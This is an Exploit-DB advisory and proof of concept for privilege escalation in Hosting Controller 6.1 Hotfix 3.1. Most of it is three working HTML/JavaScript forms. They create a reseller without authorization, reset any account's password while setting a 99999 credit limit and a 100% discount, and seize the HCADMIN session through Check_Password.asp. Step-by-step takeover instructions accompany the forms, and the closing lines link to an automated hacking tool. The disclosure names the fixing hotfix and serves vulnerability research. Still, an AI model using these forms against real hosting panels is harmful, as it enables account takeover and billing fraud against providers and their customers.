Exploit-DB #1987
Description: Hosting Controller 6.1 Hotfix 3.1 - Privilege Escalation
Type: webapps
Platform: asp
Date: 2006-07-06
Author: Soroush Dalili

Exploit:
Title: An attacker can gain reseller privileges and after that can gain admin privileges
Version: 6.1 Hotfix <= 3.1
Developer url: www.Hostingcontroller.com
Solution: Update to Hotfix 3.2
Discover date: 2005,Summer
Report date (to hc company): Sat Jun 10, 2006
Publish date (in security forums): Thu July 06, 2006

-------------------------------------------------------------------------------------
===============================================
1- This code give resadmin session to a user:
Bug in "hosting/addreseller.asp", No checker is available.
---------------------------------------------------

<script>
function siteaction(){
n_act= "/hosting/addreseller.asp?htype=3"
window.document.all.frm1.action = window.document.all.siteact.value + n_act
window.document.all.frm1.submit()
}
</script>
<hr><br>
Form1<br>
URL: <input type="text" name=siteact size=70>
<br>
<form name="frm1" method="post" onsubmit="return siteaction()">
<table>
<tr>
<td>reseller</td>
<td><input type="text" name="reseller" value="hcadmin"></td>
</tr>
<tr>
<td>loginname</td>
<td><input type="text" name="loginname" value="hcadmin"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="text" name="Password" value=""></td>
</tr>
<tr>
<td>first_name</td>
<td><input type="text" name="first_name" value=""></td>
</tr>
<tr>
<td>first_name</td>
<td><input type="text" name="first_name" value=""></td>
</tr>
<tr>
<td>last_name</td>
<td><input type="text" name="last_name" value=""></td>
</tr>
<tr>
<td>address</td>
<td><input type="text" name="address" value=""></td>
</tr>
<tr>
<td>city</td>
<td><input type="text" name="city" value=""></td>
</tr>
<tr>
<td>state</td>
<td><input type="text" name="state" value=""></td>
</tr>
<tr>
<td>country</td>
<td><input type="text" name="country" value=""></td>
</tr>
<tr>
<td>email</td>
<td><input type="text" name="email" value=""></td>
</tr>
<tr>
<td>phone</td>
<td><input type="text" name="phone" value=""></td>
</tr>
<tr>
<td>fax</td>
<td><input type="text" name="fax" value=""></td>
</tr>
<tr>
<td>zip</td>
<td><input type="text" name="zip" value=""></td>
</tr>
<tr>
<td>selMonth</td>
<td><input type="text" name="selMonth" value=""></td>
</tr>
<tr>
<td>selYear</td>
<td><input type="text" name="selYear" value=""></td>
</tr>
<tr>
<td>txtcardno</td>
<td><input type="text" name="txtcardno" value=""></td>
</tr>
</table>
<br><input type="submit">
</form>
---------------------------------------------------
===============================================
2- This code list all of resellers then you must change a password of one of them then login by it for next step.
Note: Also by this code, everyone can increase its Credit value then buy every host.
---------------------------------------------------
<form action="http://[URL]/Admin/Accounts/AccountActions.asp?ActionType=UpdateCreditLimit" method="post">
<table>
<tr>
<td>Username:</td>
<td><input type="text" name="UserName" value="hcadmin"></td>
</tr>
<tr>
<td>Description:</td>
<td><input type="text" name="Description" value=""></td>
</tr>
<tr>
<td>FullName:</td>
<td><input type="text" name="FullName" value=""></td>
</tr>
<tr>
<td>AccountDisabled 1,[blank]:</td>
<td><input type="text" name="AccountDisabled" value=""></td>
</tr>
<tr>
<td>UserChangePassword:</td>
<td><input type="text" name="UserChangePassword" value=""></td>
</tr>
<tr>
<td>PassCheck=TRUE,0:</td>
<td><input type="text" name="PassCheck" value="0"></td>
</tr>
<tr>
<td>New Password:</td>
<td><input type="text" name="Pass1" value=""></td>
</tr>
<tr>
<td>DefaultDiscount%:</td>
<td><input type="text" name="DefaultDiscount" value="100"></td>
</tr>
<tr>
<td>CreditLimit:</td>
<td><input type="text" name="CreditLimit" value="99999"></td>
</tr>
</table>
<br><input type="submit">
</form>
<hr><br>
---------------------------------------------------
===============================================
3- Now you must login by a resseler that changed password from last step. now goto userlist, if there is a user that will enough and if no user available, u must make it!
now select it and click Enter to enter by that user. now the bug will be available:
each reseller can gain every user session even "HCADMIN" by bug in "Check_Password.asp"
below code will help you:
---------------------------------------------------
<hr><br>
Form1<br>
<form action="http://[URL]/Admin/Check_Password.asp" method="post">
<table>
<tr>
<td>AdName</td>
<td><input type="text" name="AdName" value="hcadmin"></td>
</tr>
</table>
<br><input type="submit">
</form>
<hr><br>
---------------------------------------------------
===============================================

-------------------------------------------------------------------------------------

Finder: Soroush Dalili (http://www.google.com/search?hl=en&q="soroush+dalili")
Email: Irsdl[47]Yahoo[d07]com
Team: GSG (Grayhatz Security Group) [Grayhatz.net]
Thanks from: 
	Farhad Saaedi (farhadjokers[4t]yahoo[d0t]com)
	Small.Mouse from Shabgard.org  (small.mouse[4t]yahoo[d0t]com)
	Kahkeshan Co. (IT Department) (www.kahkeshan.com)
Related URLs:
	http://hidesys.persiangig.com/other/HC_BUGS_BEFORE3.2.txt (all hc bugs by Irsdl)
	http://hidesys.persiangig.com/other/HC%20Hack%20Prog.rar [[CREDENTIAL_REDACTED].net] (HC automation hacking program source code by simple VB)

# milw0rm.com [2006-07-06]